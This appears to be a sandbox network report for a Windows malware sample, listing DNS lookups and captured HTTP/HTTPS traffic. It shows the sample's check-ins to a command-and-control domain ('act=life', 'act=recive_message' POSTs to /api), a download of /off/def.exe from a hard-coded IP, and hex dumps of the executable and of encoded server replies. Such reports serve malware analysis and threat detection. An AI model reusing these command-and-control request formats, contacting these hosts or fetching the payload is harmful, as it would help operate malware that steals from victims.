Dec 27, 2024 14:56:55.902496099 CET	192.168.2.7	1.1.1.1	0x7a9a	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:55.902684927 CET	192.168.2.7	1.1.1.1	0x415d	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 14:56:58.966700077 CET	192.168.2.7	1.1.1.1	0x1cb9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:58.966969013 CET	192.168.2.7	1.1.1.1	0xc399	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 14:57:07.809324026 CET	192.168.2.7	1.1.1.1	0x4a85	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:57:07.809494019 CET	192.168.2.7	1.1.1.1	0xf1b7	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 14:56:08.644404888 CET	1.1.1.1	192.168.2.7	0xca11	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:08.644404888 CET	1.1.1.1	192.168.2.7	0xca11	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:52.884198904 CET	1.1.1.1	192.168.2.7	0xfbec	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:52.884994984 CET	1.1.1.1	192.168.2.7	0x5540	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 14:56:56.040822983 CET	1.1.1.1	192.168.2.7	0x7a9a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.040822983 CET	1.1.1.1	192.168.2.7	0x7a9a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.040822983 CET	1.1.1.1	192.168.2.7	0x7a9a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.040822983 CET	1.1.1.1	192.168.2.7	0x7a9a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:56.224541903 CET	1.1.1.1	192.168.2.7	0x49a8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.306783915 CET	1.1.1.1	192.168.2.7	0x415d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.306783915 CET	1.1.1.1	192.168.2.7	0x415d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.379945040 CET	1.1.1.1	192.168.2.7	0xed4e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.379945040 CET	1.1.1.1	192.168.2.7	0xed4e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:56.379945040 CET	1.1.1.1	192.168.2.7	0xed4e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:58.999842882 CET	1.1.1.1	192.168.2.7	0xc403	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.000049114 CET	1.1.1.1	192.168.2.7	0xf748	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.000049114 CET	1.1.1.1	192.168.2.7	0xf748	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.000049114 CET	1.1.1.1	192.168.2.7	0xf748	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:59.105900049 CET	1.1.1.1	192.168.2.7	0xc399	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.105900049 CET	1.1.1.1	192.168.2.7	0xc399	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.111469984 CET	1.1.1.1	192.168.2.7	0x1cb9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.111469984 CET	1.1.1.1	192.168.2.7	0x1cb9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.111469984 CET	1.1.1.1	192.168.2.7	0x1cb9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:56:59.111469984 CET	1.1.1.1	192.168.2.7	0x1cb9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:57:08.315640926 CET	1.1.1.1	192.168.2.7	0x4a85	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:57:08.315938950 CET	1.1.1.1	192.168.2.7	0xf1b7	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:57:14.754175901 CET	1.1.1.1	192.168.2.7	0x49a2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:57:14.779035091 CET	1.1.1.1	192.168.2.7	0x7e02	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:57:21.679095030 CET	1.1.1.1	192.168.2.7	0x688a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 14:57:21.680262089 CET	1.1.1.1	192.168.2.7	0x325f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49759	185.215.113.16	80	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:56:36.414809942 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 14:56:37.849385023 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 13:56:36 GMT Content-Type: application/octet-stream Content-Length: 2874368 Last-Modified: Fri, 27 Dec 2024 13:00:41 GMT Connection: keep-alive ETag: "676ea4f9-2bdc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 88 f6 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,+`Ui`D @ @ @.rsrcD``@.idata f@znrtkvzd`+N+h@yxlfhred ,+@.taggant@ ,"+@
Dec 27, 2024 14:56:37.849422932 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849435091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849476099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849488974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849503040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849515915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849607944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 14:56:37.849659920 CET	1236	IN	Data Raw: 20 f8 56 bc 4f e4 70 b5 2a d6 74 b5 20 f8 56 bd 37 a6 7c bd 27 70 19 87 98 f8 58 b1 20 fe 76 93 0a ed 40 b9 20 9c 70 b5 20 fa 70 b5 31 ea 64 95 1f fe 7f b5 08 f9 70 b5 26 f4 76 cb 34 fe 70 bf 08 eb 70 b5 2a d3 37 b3 22 e1 5e 9d 28 fe 70 b3 32 ff Data Ascii: VOpt V7\|'pX v@ p p1dp&v4pp7"^(p2+pbp&U:d^pd4{ Vppt Vp&Z @ p p1k rOpv5k r=p#j>pvOp^&tOp* zvp sZ l p J
Dec 27, 2024 14:56:37.849673033 CET	1236	IN	Data Raw: 20 61 72 b5 20 9f 70 97 20 ea 70 b6 21 fe 70 fd 22 fe 70 d4 20 d0 70 a1 20 f5 71 a5 20 b8 73 b5 20 97 70 88 20 ea 70 93 20 e9 79 b8 21 af f0 8e 20 ee 71 e4 a0 b5 71 a5 21 af f0 da 21 ee 71 e4 a0 e0 74 a5 21 af f0 85 20 ee 71 b3 26 d4 74 a5 21 a8 Data Ascii: ar p p!p"p p q s p p y! qq!!qt! q&t!!qr!!qq!Y q&t!I#q*s!\#qOs! q&t!"qzr!#q)r!F"qp!v$qys!0 qap!Z!qs!!q?r!v$q
Dec 27, 2024 14:56:37.969321966 CET	1236	IN	Data Raw: 20 a6 70 03 20 f7 70 e9 20 45 70 bc 20 9e 70 75 20 f7 70 d1 20 4f 70 bc 20 92 70 12 20 f7 70 c5 20 70 70 bc 20 8a 70 26 20 f7 70 cd 20 66 70 bc 20 82 70 03 20 f7 70 35 20 45 70 bc 20 7a 70 70 20 f7 70 39 20 34 70 bc 20 6e 70 12 20 f7 70 21 20 70 Data Ascii: p p Ep pu p Op p p pp p& p fp p p5 Ep zpp p9 4p np p! pp fp& p) fp ^p p Ep Vpz p p Npu p 'p Bp pu pp :p p} mp 2pk pe p p] pm fp "pX pU p pB p] p p!pE q p0"p \|q p>!p Tq p

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:10 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 13:56:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 13:56:10 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qld4mf7230sivqa4vkjlh7c829; expires=Tue, 22 Apr 2025 07:42:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJAVyRsrpsSRATStsQNGc4TKfjAXHrmeYpWJ6c%2F3Q472dIblsIqw1pN6N7ND8x9q9ffns4mk%2BnSDh0%2FvawV2LLhx2EDfi%2FV3FYutU6JNUq%2B%2BijjvPCYuOzuArM7iyBknyrc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89cffbf8554315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&min_rtt=1634&rtt_var=716&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1787025&cwnd=218&unsent_bytes=0&cid=42b928d89aed590d&ts=647&x=0"
2024-12-27 13:56:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 13:56:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 13:56:12 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 13:56:17 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0npjejnv6fhab1coehja01fdg; expires=Tue, 22 Apr 2025 07:42:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWyaKM91HhchNPBu3rbhRsKVGggOPY5qxdFNDxtMYvG9gcGyct8khGW2ZtrgsZlDslavZRwCM%2Fdi22fQW0PwZeXqHZcK6kFykITphFZEqYZy%2Bp0VDRBGkqJ3f%2BRFIIxIs1M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d009f9f04262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1683&rtt_var=653&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=1646926&cwnd=190&unsent_bytes=0&cid=c4cd6bb316a5716d&ts=5143&x=0"
2024-12-27 13:56:17 UTC	245	IN	Data Raw: 34 39 31 63 0d 0a 4f 50 31 62 4b 34 72 61 38 78 49 67 70 63 50 32 70 4e 78 77 4c 34 73 6e 46 41 50 68 53 4b 4a 4e 37 2f 74 37 68 4d 56 52 58 7a 4e 44 33 79 30 4a 73 4f 37 66 4d 46 50 41 34 63 7a 51 72 67 56 4b 70 77 56 31 5a 38 4e 79 78 43 79 44 69 42 36 6f 35 79 63 79 45 51 4b 62 4f 6b 66 35 76 39 38 77 52 64 33 68 7a 50 2b 6e 55 6b 72 6c 42 53 34 68 68 43 4c 41 4c 49 4f 5a 47 75 2b 71 49 54 4e 51 55 4a 45 38 51 2b 2b 35 6c 33 4e 4d 79 4b 61 54 77 62 30 61 51 65 4a 4b 66 47 37 44 5a 49 41 6f 6c 64 6c 42 70 6f 67 30 4b 31 4a 31 6e 43 68 41 71 4b 66 66 61 51 4c 41 72 64 53 65 2f 68 46 4b 36 55 74 79 5a 34 6f 67 79 69 57 4c 6d 42 2f 75 74 54 67 35 57 31 43 66 50 30 4c 6c 73 49 4e 2b 52 73 2b 74 6c 63 75 39 55 67 4f 70 51 6d 34 Data Ascii: 491cOP1bK4ra8xIgpcP2pNxwL4snFAPhSKJN7/t7hMVRXzND3y0JsO7fMFPA4czQrgVKpwV1Z8NyxCyDiB6o5ycyEQKbOkf5v98wRd3hzP+nUkrlBS4hhCLALIOZGu+qITNQUJE8Q++5l3NMyKaTwb0aQeJKfG7DZIAoldlBpog0K1J1nChAqKffaQLArdSe/hFK6UtyZ4ogyiWLmB/utTg5W1CfP0LlsIN+Rs+tlcu9UgOpQm4
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 68 32 32 71 54 48 59 36 49 43 50 4f 71 49 7a 73 52 52 64 45 67 43 65 2b 30 30 53 67 43 7a 36 32 61 77 37 30 64 53 75 68 46 5a 47 36 44 4b 63 67 6e 69 5a 4d 57 36 61 67 39 4e 31 5a 53 6c 6a 35 47 37 37 43 58 66 30 47 48 37 39 54 42 70 6c 49 56 71 57 56 6d 59 6f 41 2b 7a 54 37 4e 68 6c 66 2f 35 7a 51 78 45 51 4c 66 50 30 66 70 74 5a 46 69 53 73 79 71 6b 64 53 31 47 30 44 6b 52 58 74 72 6a 43 6e 41 4b 49 65 54 46 75 79 6a 50 6a 42 58 57 70 39 35 42 36 69 2f 69 54 41 61 68 34 4b 52 31 72 6b 65 57 36 74 2f 4e 6e 37 4e 4d 34 41 6f 67 64 6c 42 70 71 38 32 50 6c 4a 52 6b 44 70 42 34 36 71 52 59 6b 54 4b 70 49 62 41 75 78 78 48 36 6c 64 38 62 34 55 70 79 53 53 45 6e 42 37 69 35 33 31 39 56 6b 4c 66 59 51 6e 4a 74 5a 70 38 53 4e 43 68 31 4e 6e 77 43 77 33 75 53 54 Data Ascii: h22qTHY6ICPOqIzsRRdEgCe+00SgCz62aw70dSuhFZG6DKcgniZMW6ag9N1ZSlj5G77CXf0GH79TBplIVqWVmYoA+zT7Nhlf/5zQxEQLfP0fptZFiSsyqkdS1G0DkRXtrjCnAKIeTFuyjPjBXWp95B6i/iTAah4KR1rkeW6t/Nn7NM4AogdlBpq82PlJRkDpB46qRYkTKpIbAuxxH6ld8b4UpySSEnB7i5319VkLfYQnJtZp8SNCh1NnwCw3uST
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 7a 53 50 4e 31 31 6e 68 76 33 4e 6c 45 58 43 63 4c 55 72 69 2b 71 52 7a 54 4d 6d 6d 67 6f 61 68 58 46 53 70 51 6e 6f 68 32 32 72 4e 4c 6f 57 66 43 2b 6d 71 4d 44 4e 66 56 5a 6f 32 51 65 69 34 6e 48 56 47 7a 4b 71 58 79 37 6f 41 52 2b 6c 4e 63 32 43 4a 49 49 42 68 7a 5a 34 42 70 76 39 7a 44 45 5a 52 33 51 78 4b 35 72 61 57 5a 67 4c 59 37 34 32 47 75 52 34 4e 73 51 56 37 61 59 59 76 7a 79 36 48 6c 78 7a 73 71 7a 73 7a 55 6b 69 51 50 55 6e 6b 73 4a 74 39 54 4d 4f 70 6e 63 32 31 46 45 33 6f 54 7a 59 76 77 79 33 59 62 39 58 5a 4c 65 47 72 50 6a 49 54 62 35 77 33 52 2b 2b 75 30 57 38 4d 33 75 47 54 79 76 35 4b 44 65 56 4d 64 6d 71 4a 4c 73 41 6f 67 4a 77 61 34 61 51 2b 4f 6c 74 55 6d 44 31 46 34 62 57 58 63 45 58 44 70 49 62 44 74 78 35 42 71 51 73 32 5a 70 74 Data Ascii: zSPN11nhv3NlEXCcLUri+qRzTMmmgoahXFSpQnoh22rNLoWfC+mqMDNfVZo2Qei4nHVGzKqXy7oAR+lNc2CJIIBhzZ4Bpv9zDEZR3QxK5raWZgLY742GuR4NsQV7aYYvzy6HlxzsqzszUkiQPUnksJt9TMOpnc21FE3oTzYvwy3Yb9XZLeGrPjITb5w3R++u0W8M3uGTyv5KDeVMdmqJLsAogJwa4aQ+OltUmD1F4bWXcEXDpIbDtx5BqQs2Zpt
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 5a 34 56 70 76 39 7a 4e 46 68 49 6b 54 64 41 35 62 36 5a 64 30 7a 4b 71 70 4c 4e 75 52 56 4c 35 45 31 37 5a 49 41 72 78 43 57 66 6d 68 4c 73 71 6a 6c 39 48 78 71 59 49 51 6d 77 2b 4c 5a 38 61 39 65 36 68 74 44 2b 44 51 50 77 42 58 46 74 77 33 4b 41 4c 49 4b 51 46 75 36 76 50 44 4a 56 56 4a 6b 2f 52 4f 32 33 6d 32 4a 4b 79 61 79 66 79 62 55 41 54 65 52 42 65 6d 57 4c 49 63 70 76 77 39 6b 65 2f 75 64 72 66 57 52 58 6b 44 6c 4b 2f 76 69 4f 50 6c 75 48 70 70 69 47 35 6c 4a 42 35 30 56 35 62 59 38 68 79 43 36 42 6c 78 37 6a 72 6a 73 31 51 31 75 62 4d 55 6a 6d 74 35 42 30 52 38 4b 6c 6b 38 4b 34 48 51 32 6e 42 58 46 35 77 33 4b 41 41 4b 71 73 57 38 65 64 63 79 49 66 51 39 38 2b 52 61 6a 67 30 58 78 42 79 36 6d 62 77 4c 63 65 52 2b 42 4f 65 6d 71 48 4a 73 6b 71 Data Ascii: Z4Vpv9zNFhIkTdA5b6Zd0zKqpLNuRVL5E17ZIArxCWfmhLsqjl9HxqYIQmw+LZ8a9e6htD+DQPwBXFtw3KALIKQFu6vPDJVVJk/RO23m2JKyayfybUATeRBemWLIcpvw9ke/udrfWRXkDlK/viOPluHppiG5lJB50V5bY8hyC6Blx7jrjs1Q1ubMUjmt5B0R8Klk8K4HQ2nBXF5w3KAAKqsW8edcyIfQ98+Rajg0XxBy6mbwLceR+BOemqHJskq
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 65 68 49 54 70 59 53 4a 45 30 52 75 43 77 6d 48 46 47 77 71 79 53 79 72 51 54 53 75 64 4c 66 69 48 4e 61 73 63 33 7a 63 46 5a 78 37 63 6f 4c 30 64 58 76 6a 52 47 71 4b 66 66 61 51 4c 41 72 64 53 65 2f 68 74 66 37 55 68 6b 61 49 51 6b 7a 79 79 66 6d 42 54 74 74 54 51 79 56 56 32 54 50 30 62 75 75 5a 52 36 54 73 43 6b 6e 38 6d 79 55 67 4f 70 51 6d 34 68 32 32 72 75 4a 4a 36 4f 47 75 69 73 4a 53 59 52 52 64 45 67 43 65 2b 30 30 53 67 43 78 4b 71 66 77 72 34 65 54 65 31 49 64 6e 4f 4d 4c 63 63 6d 68 6f 73 54 34 61 41 34 4e 56 70 56 6d 53 74 46 35 71 71 55 59 6c 43 48 37 39 54 42 70 6c 49 56 71 58 4e 78 63 5a 4d 70 67 68 36 62 6d 67 2f 74 71 6a 39 39 54 68 53 47 65 55 37 6b 2b 4d 6b 77 52 4d 69 6f 6c 38 6d 2f 47 30 48 6b 51 48 39 6b 67 69 7a 45 4a 59 65 5a 48 Data Ascii: ehITpYSJE0RuCwmHFGwqySyrQTSudLfiHNasc3zcFZx7coL0dXvjRGqKffaQLArdSe/htf7UhkaIQkzyyfmBTttTQyVV2TP0buuZR6TsCkn8myUgOpQm4h22ruJJ6OGuisJSYRRdEgCe+00SgCxKqfwr4eTe1IdnOMLccmhosT4aA4NVpVmStF5qqUYlCH79TBplIVqXNxcZMpgh6bmg/tqj99ThSGeU7k+MkwRMiol8m/G0HkQH9kgizEJYeZH
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 7a 53 42 71 59 4e 51 6d 77 2b 4a 4a 33 51 63 61 72 6e 63 71 78 46 55 6e 37 54 33 46 7a 67 69 76 4c 49 6f 47 5a 46 4f 75 74 4d 6a 52 63 56 70 49 2b 54 75 65 39 30 54 34 43 77 4c 6e 55 6e 76 34 7a 51 4f 4a 4a 4c 54 76 44 4e 59 34 32 7a 5a 34 56 70 76 39 7a 50 56 74 66 6c 54 52 4b 35 37 75 44 63 55 54 56 6f 5a 6e 4d 72 42 68 47 37 45 68 37 62 49 41 73 78 69 53 42 69 78 44 6d 70 44 68 39 48 78 71 59 49 51 6d 77 2b 4c 4a 6e 56 4d 32 6d 6d 4e 43 31 45 30 37 2f 53 47 59 68 7a 57 72 52 4b 4a 7a 5a 51 66 43 33 4a 44 70 4f 46 49 5a 35 54 75 54 34 79 54 42 45 7a 71 65 54 77 4c 41 41 53 4f 39 4b 65 57 69 4b 4c 73 67 73 6a 5a 30 64 34 61 49 77 4d 56 70 64 6e 44 5a 4e 34 62 61 59 66 77 4b 4a 34 5a 50 65 2f 6b 6f 4e 79 46 35 31 62 59 35 71 33 32 47 55 32 52 37 71 35 32 Data Ascii: 